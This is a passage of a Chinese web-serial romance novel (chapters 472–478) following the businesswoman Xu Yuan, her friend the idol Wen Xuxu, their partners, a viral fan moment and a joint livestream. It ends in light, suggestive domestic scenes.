董事会那群老古董早就收到过许愿的消息,知道沈略会来盛世工作,他们也不敢有意见。 现在许愿算是独揽大权,且股份占比多的陈家父子也是许愿的人,再加上沈略侧近是傅京礼的心腹,傅氏的高层,来他们盛世当管理层那是绰绰有余的。 许愿一通电话把沈略摇来了,文件少了一半。另一半也需要处理。 各个部分提交的策划案和需要审批的文件都交了上来才显得工作量巨大,但其实都是一些琐碎的小事。 许愿和盛景炎一起工作效率都加快了。 段星河的研究室就在许愿隔壁隔得不远,从研究室出来就看到这俩人凑在一起办公,“豁” 了一声,靠在墙边乐不可支。 其它研究员面面相觑,似乎还有女研究员凑到一起看着许愿和盛景炎俩人笑眯眯的一起走,一看就是在磕他俩CP。 等研究员散开没几个人了,段星河才走过去抬着手指在办公桌上点了点。 “你俩真是我活爹啊,别说是专门在门口监工的,顾凛都没你们这么疯。” 段星河嗤了一声,倏地回过味儿来。 这俩可不是这么有毛病的人。 “许愿你不是在敲那代码数据吗?怎么跑出来了?你总不该这么短时间就把代码敲出来了。” “盛景炎你该不会特意办了张办公桌在门口就为了守着许愿吧。” 这话才说出来,段星河越想越是这么回事儿,看俩人的眼神一变再变。 “不是?” “你们有病啊!” “秀恩爱去哪里秀不行,非要在我这里秀?” 许愿手里的巧克力砸过去:“别叽歪,有时间帮忙看份文件,没几份了,看完请你去华庭吃饭。” “我缺你一顿饭吗。”段星河嘟囔了句,但还是任劳任怨的挑了份文件看。 其实就是一份数据报表,段星河口算都能算出来最终结果。 有了段星河的加盟,文件很快被看完了,许愿给华庭那边去了电话,他们有特定包厢,只是提前订上餐。 到了华庭倒也是巧,偶遇了黎云笙和温栩栩,俩人身边还带了个韩城,他大概还没从抽卡的阴影里缓过劲儿来。 都遇到了,自然是一起了。 许愿给一直跟着自己的特警队的成员也特别定了饭菜,就在隔壁包厢,不过刑从景还是跟他们一起的。 温栩栩见到许愿眼睛都亮起来,也不管正牌老公就在身边,直接凑到许愿身边。 “阿愿,我这次录制节目的地点在比较偏远的地方,但是那边的首饰都很好看,你看这串手链是不是很衬你。” 温栩栩手腕上是一串红色水晶石串在一起的手链,并不是特别高档的晶石,但也确实很漂亮,戴在她手上却像是无价珍宝。 她开心的把手腕上的手串摘下来戴到许愿手上。 “果然很适合你。” 她眼睛亮晶晶的望着许愿,似乎等着许愿的回应。 “谢谢栩栩,我很喜欢。”许愿说着摇晃了下手串,发出叮当的声响。 黎云笙就站在一侧轻嗤一声:“这么廉价的东西也就只有你才能看得上。” 许愿哦了一声:“栩栩没有送你礼物吧。” 第473章 云笙有老婆,你有老婆吗 许愿一句话简直直戳他心窝。 温栩栩确实没有送他礼物,她只给许愿带了礼物。 许愿一看他那表情就知道自己猜对了。 “没有礼物,破防了吧。” 许愿还特意讽了句。 黎云笙:“……” 算了,他天生就跟许愿气场不和。 包厢内的菜已经上了一半了,许愿还特地多加了份温栩栩爱吃的蓝莓山药泥,温栩栩开心的坐在许愿身边抱着她手臂贴贴。 “……” 黎云笙面无表情的看着这一幕。 他是买不起这份甜点吗,用许愿在这里献殷勤。 黎云笙摸出根烟有点沧桑的想来一口,挨着许愿贴贴的温栩栩直接凑过来夺了他的烟,顺便从他口袋里摸出根棒棒糖喂到男人嘴边。 许愿:? 她家栩栩这动作有点过于熟练了。 韩城却忍不住喷笑。 “黎云笙你结了婚还要被老婆管着不能抽烟吗?还吃棒棒糖,你多大了!” 天地可鉴,这是他被老爷子逼婚后最开心的一刻。 盛景炎漫不经心的开口回了句:“云笙有人管你有人管吗?” “云笙有人喂糖你有人喂糖吗?” “云笙有老婆,你有老婆吗。” 攻击性不强,侮辱性极强。 韩城被这话噎住了,好半天说不出话来,脸都是红的,气闷的在角落里闷头吃饭。 段星河噗嗤笑出声来,显然是被韩城这憋屈模样逗乐了。 “你笑什么?你有老婆?”精准攻击段星河。 段星河淡淡的哦了一声:“我虽然没有老婆,可我也没人逼婚啊,一个人逍遥自在呢。” 韩城胸口又中一箭,他觉得所有人都在针对自己,而自己就好像是那个小可怜似的。 “许愿你不是要破解姜明珠那些代码数据,怎么这么快就从研究所出来了。”黎云笙问了句。 许愿喝了口玉米汁回应:“今天苏青莲进了我的电脑留下了大段的代码数据,比姜明珠的那些数据代码更完善。” 包厢内一时静下来。 刑从景眸色微变,旁的人也没料到会是苏青莲给了她那串代码数据。 “这是我和姜明珠之间的比赛,苏青莲插进来就已经失了公允,所以我打算联系姜明珠,这次有关智能系统的竞标案需要盛世和傅氏一起联手合作。” 这是许愿思考过后下的定论。 段星河迟迟没有反应过来,眸光有些许隐晦,片刻后才像是轻微叹了口气。 “这件事你决定就好。”盛景炎握住许愿的手。 其实许愿今天说了这个消息,就算是间接的告诉他们一个讯号。 苏青莲可能真的快回来了,不然她不会频繁的联系许愿。 …… 散场时已经是晚上九点了,温栩栩因为见到许愿有点微醺,出来时还不忘挽着许愿的手臂,全然将黎云笙抛到脑后了,哼哼唧唧的说:“阿愿你不知道,现在我们有超多的CP粉。” 黎云笙啧了一声:“粉丝再多也比不过原配。” 原配指的是许愿和盛景炎了。 温栩栩哼了一声,抬手打他一下,力气不重,小猫挠似的力道,惹得黎云笙轻笑。 “你怎么总喜欢逗她。” 许愿有点无语的瞥黎云笙一眼,黎云笙瞄她,眼神都带着点居高临下,像是嗤了一声说“我逗我老婆你管得着吗。” 还挺得意。 许愿忍不住抬手摇晃了下自己才得到的手链回击黎云笙。 黎云笙噎了一下,正要说什么,刑从景开口道:“有人偷拍。” 他本想接过温栩栩,听到这话顿了下,他可记得温栩栩说要隐婚的,伸出去的手又收回来了。 是几个小女生,年纪不大身边还停着自行车,像是在A市念书的大学生,青春靓丽的,但此刻看到温栩栩和许愿一起时她们眼睛都是亮晶晶的。 一看就像是温栩栩的小粉丝。 刑从景也察觉出来是粉丝不是什么狗仔和有恶意的人,便没再管。 黎云笙默然的后退了几步,以免此刻微醺的温栩栩扑进他怀里要抱要亲。 虽然这里有许愿,温栩栩可能根本不会看到他。 黎云笙内心有点酸涩。 那几个女生已经小跑过来了,他们很多人一起,偏偏大学生胆子也大,小声喊了句:“栩栩?” 温栩栩唔了一声,看向几个小粉丝,粉丝看到她跟许愿贴的这样近更激动了。 “栩栩你和许老师关系超好哎!” “栩栩你是喝醉了吗?” “栩栩可不可以跟我们拍张照哇。” 许愿凑到温栩栩耳边提醒她,温栩栩这才站稳身体点点头:“来,我们一起拍照。” 看到她们两人的互动,粉丝惊呼了一声,甚至还来了句:“许老师可以一起拍照吗?” 都陪温栩栩上过节目了,只是拍张照,也不是什么大事。 许愿答应了。 温栩栩立刻握住许愿的手笑眯眯的对着镜头,有粉丝眼尖的发现许愿手腕的手链是温栩栩在直播的时候特意挑的那条,心跳都忍不住加快了。 “许愿老师,这条手链是……栩栩送的?”粉丝问。 许愿点头,还摇晃了下手腕:“漂亮吗。” 粉丝一时不知道自己该夸手链漂亮还是该夸许愿漂亮。 拍完后一群小粉丝骑着自行车叽叽喳喳的离开了。 见人走远了,黎云笙才接过温栩栩抱在怀里:“时间不早了,我先带她回家了。” 许愿感觉得到黎云笙对温栩栩的在乎,而且粉丝出现时黎云笙自动后退,等粉丝离开才主动接过温栩栩。 许愿不由得轻笑一声。 看来黎云笙和栩栩好像真的蛮配的。 …… 当晚温栩栩和许愿就上了热搜。 #温栩栩和许愿绝美爱情呜呜# 是今天遇到他们的粉丝拍了视频上传到微博上。 【夏天的小羽毛】:今天出门偶遇栩栩和许愿老师!呜呜家人们谁懂啊,栩栩就黏糊糊的贴着许愿老师!许愿老师也超级宠的哄着她!甚至手上戴着的都是栩栩送的手链!美女之间的绝美爱情谁懂!谁磕谁迷糊! 【风萧萧兮】:难道最萌的不是许愿贴在栩栩耳边笑着说话那一幕吗! 第474章 哥哥,困了~ {最好磕的点在于那条手链是温栩栩在录制节目的时候花了六块钱买的!许愿呢,凭借自身实力晋升成为资本,平日里的珠宝首饰哪一件不是高奢品牌,这姐身上的东西就没有不贵的,但是温栩栩给她带了那样廉价的手链她问都不问就笑着戴上了!平日里温栩栩没少在外面“捡垃圾”当宝贝送给许愿吧!妈惹太好嗑了,像极了家养小猫咪在外面逮了老鼠或者虫子送给主人的样子!} {……楼上我谢谢你,本来没有磕到,但你说到猫咪抓虫子,温栩栩这……是有点像。} {真的!只有关系好到一定程度的闺蜜好友才能给对方送几块钱的小垃圾呜呜呜,她们两个绝对是真爱!} {我不允许还没有人知道许愿是为了温栩栩录制了那一档求生综艺!小道消息称有人在圈内给温栩栩穿小鞋,许愿就是知道了这个才特意去录制了节目,家人们谁懂啊,这不就是告诉那些人温栩栩她罩着吗!} {温栩栩参与选秀的那档节目其实主策划的公司是盛华,盛华跟盛世现在几乎是兄弟公司了,说跟许愿没关系的我把头拧下来。} {温栩栩最新的代言是高奢品牌的珠宝……嗯,也跟盛华有关,肯定是许愿给的资源啊!} {磕瘟了} 她们磕的开心,许愿和盛景炎那群CP粉憋不住了出来嚷嚷,你们都没看到官配未婚夫就在旁边吗?虎视眈眈啊! 热搜一直在榜一,温栩栩的经纪人眼看着热度上来心里难免也生出点蹭的心思。 温栩栩还有点微醺但并没有真的醉,只是上了车就赖到黎云笙身上像是个小动物似的在他身上找了个位置窝好,小祖宗似的,还嫌弃男人手臂不够软。 黎云笙听得眼皮直跳。 那肯定没许愿的软。 真的。 黎云笙永远都有一种错觉,但凡许愿是个男人,温栩栩都不能跟他在一起。 不,就算许愿是个女人,如果当时他不用许愿来威胁温栩栩,温栩栩绝对不会跟他这么轻易结婚。 这小混蛋绝对扭头就去蹭许愿守着许愿。 啧,别人家情敌都是同性,他倒好,情敌是异性。 黎云笙捏住温栩栩一直嘟囔找茬的嘴巴:“安分点。” 她才不安分,吭哧就张嘴咬他一口,牙还挺利。 “哥哥,困了。” 她咬完人就开始撒娇,声音软乎乎的,张口就叫哥哥,脸都不带红一点的。 黎云笙都被她这行云流水的表演气笑了。 温栩栩向来是个聪明人,她心里最在乎许愿是因为许愿救了她算是给了她新生,所以在温栩栩眼里她这条命都算是许愿的,就算是许愿今天真黑化要杀谁她都绝对是那个挖坑帮忙埋人的疯子。 她在乎许愿,但她也清楚自己结婚了。 虽然黎云笙床上的确不是个东西,但她俩一个愿打一个愿挨的,她也挺喜欢他那粗犷风格的。 坦白讲那几年还真的是她主动勾的黎云笙,她为许愿勾了黎云笙做投资才有了许愿今天的盛华,她不否认黎云笙付出了金钱,但她没觉得对不起黎云笙,因为他投出去的钱全都翻倍赚回来,甚至现在都在盛华占有部分股份。 而且最初温栩栩看的很透,她自认自己全身上下没什么值钱的,也就这副皮囊让人瞧了新生欢喜,就自己挑了个阔绰的买家,她不肯委屈自己所以左挑右选挑了个黎云笙这么个身高腿长有颜值的男人,不然睡起来她还委屈呢。 可结了婚那就是不一样的。 结了婚就不再像以前那样,一笔交易睡一晚那么简单了。 他们领了结婚证,是一家人,且黎云笙并没有做婚前财产公证,这代表什么温栩栩是很清楚的。 丈夫和金主是不同的。 所以纵然温栩栩对黎云笙没有多少爱意,但她也已经将对方看作是自己的所有物,她和黎云笙都是占有欲强的疯子,黎云笙将她看做自己的,她又何尝不是这样? 所以她不会允许黎云笙跟其他女人有任何关系,一旦黎云笙出轨她会马上提出离婚头也不回的走掉。 因为现在的许愿已经不需要她继续讨好黎云笙,所以黎云笙对她其实是没有价值的,能让她继续留在黎云笙身边的全因为那一纸结婚证。 黎家那一堆陈芝麻烂谷子的事情黎云笙也从没有摆到她面前来,所以纵然黎云笙的私生子弟弟黎云远舞到她面前明白的告诉她黎云笙有白月光她也只是不屑。 有白月光怎么了?谁还没个白月光了? 她白月光还是许愿呢。 只要黎云笙没有真正做出背叛她的事情,那她就不会离婚,毕竟没有谁能这样大方许她总裁夫人的位置让她一个孤女当豪门太太。 更何况,他们的身体实在契合,她也确实有点舍不得这男人。 没办法,他身材的确是好。 就是这样,所以温栩栩才会任由自己一点点卸下心房接近黎云笙,甚至在他面前路出无害的模样。 因为她深知男人喜欢什么样的女人,温柔的?可爱的?妩媚的?她什么不能演?只要不背叛她什么剧本都能来一套。 温栩栩窝在黎云笙怀里,能听到黎云笙清晰的嗤笑声,不知是不是在笑她。 温栩栩伸出手揪拽着黎云笙胸口的扣子,然后摸了下。 嗯,身材还是很好的。 “哥哥,亲亲~” 她又在勾人了。 黎云笙眸光晦涩的捏住她的下巴,她含糊不清的唔了一声,脸颊都鼓起来。 她在舞台上时光彩夺目的,是美艳的是诱人的,但在他这里却总是不一样的。 男人喉结微微滚动,贴近咬住她的唇,车内的挡板早就升起,她两条手臂抱住男人的脖子热情回应,身前的扣子也开了几颗。 呼吸间胸口都在起伏着,那抹诱人的白让人瞧了都带上热意。 黎云笙不由得加重力气扣住温栩栩的后脑,压低嗓音在她耳边道:“怎么现在不找许愿了?” 第475章 活爹,这场合说这合适吗 暧昧的气氛陡然冷场。 温栩栩还有些迷茫的眼神都逐渐清明,等反应过来这种时候黎云笙说了句什么后险些都要被气笑了。 活爹。 你看着场合提这个合适吗? 这种时候不该扣住她后脑狠狠亲吗? 你提阿愿做什么? 温栩栩喘息着,手拽着男人的衣扣,竟然还解释了句。 “阿愿那边,我就是想……盛景炎也不许啊。” “……”黎云笙被这话噎住了,盯着她的眼神愈发古怪了。 这算什么解释? 你就算是想?盛景炎也不许? 你还真敢想? 黎云笙心情复杂,一方面觉得自己整日里跟女人争风吃醋很离谱,一方面又觉得他的妻子实在是虎的厉害。 见他被这话堵住,温栩栩洋洋自得,拉扯着男人的领带,他果真低头顺着她的力道去,温栩栩美滋滋的亲了男人一口。 “还要不要亲亲。”她贴着男人凉薄的唇开口:“我闻到了水蜜桃的味道,你吃过我给你的糖了?这味道我还蛮喜欢的。” 也不知说的是喜欢糖果的味道还是更喜欢这个吻。 这都已经算是明晃晃的挑逗了,他还能忍? 又一次堵住温栩栩的唇,没再提许愿。 车厢内这一刻气温仿佛都升高了,彼此之间的呼吸交叠,她呼吸愈发急促…… 倏地手机铃声打破了暧昧的气氛。 黎云笙皱眉要摁灭手机,温栩栩夺回来看了眼来电显示。 是经纪人的电话。 “别,是我经纪人。” 男人重重的“啧”了一声将手机丢给温栩栩,抱着手臂在一旁看她怎么应付。 “栩栩!你和许愿上热搜了你知道吗!现在很多人都在讨论你们的事,你回家后趁热开个直播回馈粉丝顺便炒一波热度,你选秀出道后可还没有开过直播呢,这个时间赶巧了。” 经纪人乐颠颠的给温栩栩来了电话。 “对了,我这边争打算邀请许愿老师一起开直播呢,到时候你们连麦,热度会更高的。” 经纪人就是看到了现在的微博热搜才会选择在现在打给温栩栩。 “我自己开直播就好,阿愿应该还有其他的事。” 温栩栩不想经纪人麻烦许愿,经纪人笑眯眯道:“我不会麻烦许愿老师的,就是问一声,如果许愿老师有时间就跟你一起,没时间我们也不强求。” 温栩栩听了这才同意。 其实她也很想跟许愿一起直播的。 也不是一定要直播,是跟许愿在一起做什么她都会很开心的。 跟经纪人挂断电话后温栩栩还美滋滋的,结果就听到身旁男人冷淡的声音:“又给你安排了工作?” 黎云笙很不爽。 他很想让温栩栩退了这破圈算了,但他清楚他敢让温栩栩退圈温栩栩就敢跟他离婚。 “经纪人打算让我跟阿愿一起直播呢。” 哦,又是跟许愿。 黎云笙面色更冷了。 事实证明他不提许愿还会有其它人提许愿,没完没了的。 “等回家后你一定要躲好,不要突然出现,不要打扰我和阿愿。” 温栩栩开始念他。 黎云笙瞥她一眼,更不爽了。 温栩栩还在念,黎云笙搂着她腰的力气都大了几分,语气中都带了几分威胁:“温栩栩,你再说下去你今晚就不用直播了,你今天一整晚都不用睡了。” 这招很好用,黎云笙对这种事言出必行,她老实了。 许愿跟盛景炎才到家就接到了温栩栩经纪人的电话,这位经纪人蹭热度的心是真的,风风火火的给许愿去了电话。 听到经纪人的请求许愿也没拒绝,她还没直播过,觉得这东西有点新奇,还是温栩栩的经纪人一步步操作教会许愿点开特定的软件然后开启直播。 许愿刚开始直播还没有几个人,但零零散散的进来几个人看清楚真的是许愿后立刻出去发微博了。 {妈妈,你可能不信,我真的蹲到女神直播了!} {看到有人标榜许愿直播,我进去就想骂骂咧咧吃几个菜啊喝成这样,一看主播,小丑竟是我自己……} 许愿直播的消息冲上热搜,观看的人也越来越多。 温栩栩到家的时候经纪人已经给她发微信告诉她许愿开直播了。 温栩栩无视了冷脸的男人还特地抢了男人的书房把人关门外了。 黎云笙:? 许愿跟他就是一个天一个地是吗? 温栩栩飞速开启直播然后跟许愿连麦,两人同时直播的事情直接就冲到了热搜榜一。 {妈妈啊!温栩栩到底为什么也这时候开播!她们两个一起开播了!} 磕CP的还在醉生梦死。 许愿跟温栩栩打了声招呼,弹幕已经在疯狂刷屏了。 {许愿姐姐看看我,姐姐是怎么跟栩栩关系这么好的啊!} 许愿看到了这条弹幕,她挑了下眉笑了笑。 “我跟栩栩为什么关系这么好吗,让我想想要怎么回答呢……” 许愿还在想怎么解释她和温栩栩的感情,温栩栩就已经抢答了。 “这个问题应该来问我,我幼年时期算是个流浪儿,被阿愿捡回去的,阿愿算是给了我新生……所以我们之间的关系坚不可摧。”温栩栩还特地提了句:“就算是盛景炎来了也要靠边站。” 弹幕一群人“吁——”。 在一旁的盛景炎扬了下眉,他也不知道为什么这种时候自己也要受伤。 看许愿跟温栩栩直播玩的开心,盛景炎注意到许愿看来的眼神,他指了指浴室的方向,许愿便知道他要先去洗澡。 许愿点了下头,手放在唇边给了他一个亲亲。 弹幕又在飞速刷屏。 {我赌五毛钱旁边的是盛总。} {这个时间除了盛总也没别人了。} {所以是真的同居了吗?} {拜托楼上,他们同居的事情不是早就知道了吗?几个月前盛总就发过许总的照片了,那时候背景就是在这里。} 今天是为了给温栩栩送热度,许愿笑着将话题拉到温栩栩最近的节目和单曲上。 跟许愿一起直播时温栩栩和平日里的模样全然不同,以往面对镜头也是美的,但是带着疏离感冷淡感,但跟许愿一起时却傻乎乎的。 第476章 祖宗又玩什么呢? 温栩栩跟许愿一起时有点傻的样子其实只是面对许愿的。 看直播的粉丝都能意识到这一点。 因为关系真的很好,所以才会无所顾忌的暴露自己另一面,温栩栩是真的非常信任许愿啊。 弹幕几乎都是很友好的,但也有找茬的,甚至舞到许愿这里。 {你们把温栩栩说的那么高尚那么干净,谁能解释今晚那群男人都是谁?你别是带着温栩栩去参加饭局打算给她找什么金主吧!} 这条弹幕许愿看到了,这人不止刷了一次,她刷了无数次。 许愿垂眸,本来带笑的眼睛里溢满了凉意。 “今天晚上那群男人是谁?能进这个直播间的大概对我也有了解,那些人是我的朋友很难理解吗?我都已经站到这位置了,我的好姐妹难道还需要去巴结谁?她要资源我不会给?她想要什么我不能给她?” “这位朋友的心是脏的所以看什么都是脏的,劳烦这位朋友好好看看视频,视频上我的异性好友每一个都是青年才俊,倒是有人觉得栩栩漂亮想投资才是真的。” 许愿开口:“那位同学的头像还有微博主页发的,你是秦菲菲的粉丝?我记得她最近有我们合作公司的代言,我会告诉我的好友重新考核是否需要继续邀请秦菲菲担任品牌代言人。” 话落,这位被踢出了直播间。 弹幕都停顿了片刻。 许愿仍然是那副冷淡模样缓缓开口:“栩栩是我除了家人和爱人最重要的朋友,我都已经站到这个位置,带她来参加我的聚会有什么问题?” “我的交际圈接触到的都是这类人群。” “带好友见几个二代三代这是什么了不得的大事吗,为什么会认为我要卖朋友?” “自己内心肮脏的话,谁也救不了。” 许愿解释的就是今晚聚会的事。 其实没几个人往肮脏的地方去想。 而且许愿聚会这个视频上全都是俊男美女,男的都是帅哥,这样的那能叫潜规则吗能叫金主吗?就算真的有点什么关系那也是你情我愿是真爱啊。 更何况许愿都站到这个位置了,谁还能当着她面欺负了温栩栩?真当她吃素的吗? 莱蒂斯的下场可就在这里摆着呢。 {许愿老师我没别的冤枉,我就想也参加参加你们圈内的聚会,我觉得许愿老师手指头里漏出个虾米朋友那都是我这辈子都可能遇不到的完美伴侣啊呜呜呜……} 那确实是这样。 许愿身边最差也是商界新贵啊,一般人确实接触不到这类人群。 交友圈不一样啊。 许愿这次直播开腔就是为了捧温栩栩,明眼人都看得出来。 看看,这谁能说不是真爱呢?第一次百忙之中参加综艺是为了温栩栩,第一次开直播也是为了温栩栩。 温栩栩乐的跟朵花似的,粉丝纷纷调侃温栩栩只有在许愿面前才会笑的跟个憨包一样,满脸不值钱的笑。 弹幕里没有搞事的人了,就算有看不爽温栩栩的也不敢出头了。 毕竟谁都知道许愿的身份,有小道消息说许愿还会调取网民基本信息,哦,这不是小道消息,几个月前有人在酒局上安装摄像头放到暗网直播,那群登录暗网看直播的人不全都被许愿跟踪信息举报了?一个个的接受教育的罚款的被逮捕的那段时间都数不过来,谁敢惹啊。 秦菲菲这个时间正在参加节目录制,录完节目到了休息室经纪人的电话就打过来了,又吵又嚷让她管好自己的粉丝,还说让她尽快看微博。 啊? 什么啊? 秦菲菲是知道自己粉丝喜欢到处为自己撕番位撕广告撕代言的。 反正最后得到好处的是自己,所以就没有约束过这些粉丝,但现在经纪人这么着急,明显是摊上事了。 秦菲菲心里咯噔了一下,总不该是碰到硬石头了。 秦菲菲飞速刷微博,一点进去就看到温栩栩和许愿开直播的词条,而下面就是许愿言名朋友公司可能不会在任用秦菲菲当代言人。 再往下看就是合作方声称不会与秦菲菲合作,还特地@ 了许愿,明摆着就是给许愿面子在舔许愿。 秦菲菲眼前一黑。 这个高奢品牌是秦菲菲谈了快半年的饼啊,这半年她到处讨好陪酒就为了这个代言,品牌方好不容易松动了,现在粉丝几句话,给她干到解放前。 秦菲菲赶紧登录微博道歉声称会管控好自己的粉丝,几乎是滑跪了。 一直关注这场闹剧的路人都直呼离谱的程度。 所以许愿是真的资本大咖,真的,别惹她。 其实许愿本人事情并不多,只是这秦菲菲她略有耳闻,圈内不少人都被她的粉丝攻击过,微博也好各大平台评论区也好到处都是她粉丝在发疯乱咬,所以这次粉丝舞到她和温栩栩面前,她觉得有必要给对方一个教训。 她没有弄掉她其它资源,只是正在洽谈的资源没影了,算是个提醒。 如果这人聪明,就该知道收敛。 因为秦菲菲的事情,弹幕干净多了,没人敢乱发些奇奇怪怪的言论了,倒是有人刷其许愿和盛景炎了。 {许总许总,超级喜欢你和盛总,求求许总跟盛总拍一个情侣变装视频吧,感觉超级适合你们的!} 情侣变装视频? 许愿挑了挑眉,好像有点意思。 “有机会的话我会跟他试试的。” {许总许总,盛总没在你身边吗?许总Cue盛总一句啊,我们都听不到盛总的声音。} 许愿只是笑了笑。 她其实并不喜欢现在的盛景炎出现在直播间,她知道盛景炎很在乎现在的形象,所以只是礼貌的笑笑。 许愿清楚,自己对盛景炎有关的事是有些玻璃心的。 她不愿有人对盛景炎评头论足,她想护着他,不想他受到伤害。 直播到一半,手机突然弹出条信息,许愿看了眼,是盛景炎发来的。 都在家里呢,有事为什么不直接说还要发信息。 许愿忍不住笑了下,结果就见盛景炎发了句“阿愿快来救我!” 许愿:? 祖宗? 又玩什么呢? 第477章 天大地大老婆最大 不怪许愿觉得盛景炎又在胡闹,因为两人关系更进一步后盛景炎那腹黑劲儿是藏也不藏了,也不知道打哪儿看了些乱七八糟的py,她一度怀疑是黎云笙或者韩城带坏了盛景炎。 许愿偏心到没边儿,就没想过盛景炎从一开始芯儿就是黄的。 许愿低头忍不住笑着回信息。 【许愿】:? 弹幕已经开始飞速刷屏。 {我赌五块钱,许总肯定是在跟盛总发信息。} {盛总不要这么见外啊,出来一起直播一起嗨啊!} 许愿看到这眼角都一抽。 盛景炎已经回了信息。 【盛景炎】:忘了拿换洗的内裤和睡衣。 许愿挑了下眉,下意识歪头往浴室的方向看过去。 许愿是选在客厅直播的,笔记本电脑正开着,而浴室距离客厅不算远,水流声已经停了。 沙发上还搭着许愿前两天在网上看到的一套情侣睡衣,还是萌萌的有兔耳朵的,冬天就是要穿这种毛茸茸的才暖和嘛。 虽然盛景炎就穿过那么一回,还是许愿撒娇几次才穿过一次,就穿了一次就搭在这里没碰过了。 今天……倒是很巧嘛。 她很想看兔子盛景炎了。 许愿只要一想到此刻盛景炎躲在浴室等着自己送兔子睡衣就忍不住想笑。 她是真的笑出声了,眉眼之间都是温柔,和对外时的凌厉全然不同。 她对着镜头开口:“栩栩,我先放首歌,你先跟她们聊着,我要去解救一只弱小可怜又无助可爱的小动物啦。” 她还真就把盛景炎当小动物了。 温栩栩眼皮直跳,许愿这么说她就猜到是盛景炎了。 可是恋爱脑也要有个度吧,就盛景炎那闷骚劲儿哪里像可怜又无助的小动物?指不定又使出什么手段在这里争宠呢。 温栩栩撇了撇嘴委屈的哦了一声。 弹幕观众刷屏。 {许总你完了!一旦你觉得一个人可爱的时候那你就坠入爱河了!你不仅觉得盛总可怜无助还可爱,你完了!你无法自拔了!} {楼上真的搞笑,许总和盛总这俩顶级恋爱脑,他俩都完了。} 弹幕刷屏许愿没看到,她已经拿了睡衣去解救盛景炎了。 黎云笙一直在看直播,看到许愿中途离场,还用那些稀奇古怪的词来描述盛景炎,眉心都一跳。 他给盛景炎发信息。 【黎云笙】:你老婆怎么形容你你知道吗? 【盛景炎】:? 【盛景炎】:威武帅气? 【黎云笙】:? 【黎云笙】:你对自己有什么误解?许愿又对你有什么误解? 【黎云笙】:你老婆形容你是可怜无助又可爱的小动物,就你?小动物?她瞎还是我瞎? 【盛景炎】:虽然不知道为什么但一定要在你们两个人中选一个人瞎掉的话,那还是你吧,你知道的我恋爱脑,天大地大老婆最大。 已读乱回是吧? 【黎云笙】:滚。 黎云笙啧了一声,点开跟温栩栩的聊天界面骚扰她。 【黎云笙】:许愿去找她那可怜的小动物了,那我的小动物是不是也需要中场休息一下? 温栩栩手机就摆在桌边,一眼瞥见黎云笙的信息。 哈?她怎么就是小动物了? 她忍不住想到在黎云笙面前的软乎劲儿,一时陷入了沉默。 哦,那可以理解为什么在许愿眼中盛景炎是可怜可爱的小动物了,他们属于同一类,在伴侣面前都挺放得开的。 温栩栩装没看到黎云笙的信息。 开玩笑,正直播呢,许愿都去找盛景炎了,她再掉线这是弄什么直播事故呢? 更何况黎云笙这人指不定中场休息的时候摁着她做点什么,万一咬破嘴唇那就不好了,新晋爱豆家中私藏野男人,这像话吗? 所以温栩栩直接装没看到糊弄了。 许愿已经选好歌,将音量调大,笑眯眯的拿起那套兔子睡衣。 内裤还要不要拿? 算了,不拿了,穿上兔子睡衣就够了,反正他们的关系就是脱衣服睡觉的关系,什么没见过,拿拿东西多此一举。 到最后还不是要脱。 许愿弯着眼睛走到浴室门口敲了敲。 “阿炎,我在门口了,你开下门。” 下一秒,门被打开一个小缝,还不等许愿往里面看一眼,对方已经飞快的伸出手抢过了睡衣然后关上了门。 至于吗。 他身上哪里她没看过。 不过许愿也是猜到盛景炎是不愿她看到他狼狈的一面。 自动断了腿后盛景炎还是不愿被人伺候,就算是在许愿面前他也还是要保持那点骄傲,自己穿衣,起床的时候会利用手臂的力量一点点挪到轮椅上,哪怕花费多点的时间,他也不愿由许愿搀扶着。 他的自尊心是真的很强。 他自己换衣服会很慢,要花费点时间了。 许愿垂眸靠在门口,眼底略过一抹微光,她能感受到心口那股明显的有些心慌的轻微痛感。 等的时间稍微有点久,浴室的门打开后他果然已经穿戴整洁收拾妥当,只是那张俊美脸上带着点轻微的薄红。 软萌的垂耳兔睡衣就这么被盛景炎穿在身上了。 他长得是很好看的,就算是前面那些年故意演戏当浪子的时候那群人嘲他什么的都有,但独独没有人嘲过他的脸。 明明是硬朗俊美的渣男脸,此刻却顶着软萌的兔耳朵,有种诡异的反差萌。 好可爱哦。 许愿单膝半跪在地上,她就这个姿势看着面前的男人,忍不住捧住他宽大的手掌。 他才泡过澡,掌心温热,顺着这个方向,许是因为刚刚洗过澡的缘故,发丝还在滴水,耳尖染上了一抹淡淡的粉红。 更可爱了。 确实像兔子。 “这就是你给我挑的睡衣?” 盛景炎揉捏着许愿细嫩的手心,似乎有些无奈。 “多可爱啊,今晚陪你一起穿垂耳兔睡衣怎么样,我还在网络上浏览了其它可爱的睡衣,猫咪款的睡衣,驯鹿款的,小恐龙款的,都很可爱,我下单了,大概要等几天才能送到呢。” 盛景炎想到接下来的时间要陪许愿穿那些奇奇怪怪的睡衣,陡然眼前一黑。 第478章 她今晚要吃盛兔子 “你这是什么表情,你不想陪我穿那些睡衣吗。” 许愿把玩着他的手轻哼了一声:“都是情侣的,我还打算跟你一起穿上这些配套的睡衣拍几组写真珍藏呢。” 盛景炎眉心又是一跳。 大可不必。 显然许愿也只是提了一句,没打算说更多,她站起身抱了抱盛景炎,下巴在他肩上蹭了蹭,能嗅到男人身上刚洗完澡带着的潮气和淡淡的香味,和她身上的味道几乎相同。 他们住在一起,沐浴液也是同一个牌子的,但许愿总觉得明明是同样的沐浴液,他用了后身上的味道总会更好闻,她总是很喜欢他身上的味道,亲吻时也会轻嗅。 她忘记自己在哪里看到过一篇研究论文,说是最契合的两人在相处亲热的时候闻到对方身上的味道如果仍然很喜欢,那可能身体方面都是最契合的。 许愿眉眼之间笑意明显。 盛景炎头发还是湿的,毕竟是冬天,她也担心吹了冷风会生病,便推着轮椅到沙发边,找了吹风机给他吹头发。 她开的风力不大,中等的风力。 长指在男人发间穿梭抚摸,是真的很认真在为他吹头发。 等吹好头发,吹风机放到茶几上,许愿整个人便俯身抱住他,语调黏糊的开口:“你说你,就几步路怎么不出来自己拿睡衣穿,还要我来送。” 她哼哼着问他。 “你全身上下我哪里没见过,至于这么藏着掖着吗。” 盛景炎挑眉哦了一声:“下次你忘记带换洗衣服我不会给你送的,你就这么出来自己拿。” 他说到这里语气稍稍停顿了下,似是想到了什么画面继续道:“好像还挺赏心悦目的。” “……”许愿也没想到自己开口说了这么句话就被盛景炎堵回来了。 还赏心悦目? 用脚趾都能猜到盛景炎脑子里想了些什么杂七杂八的东西。 太坏了…… 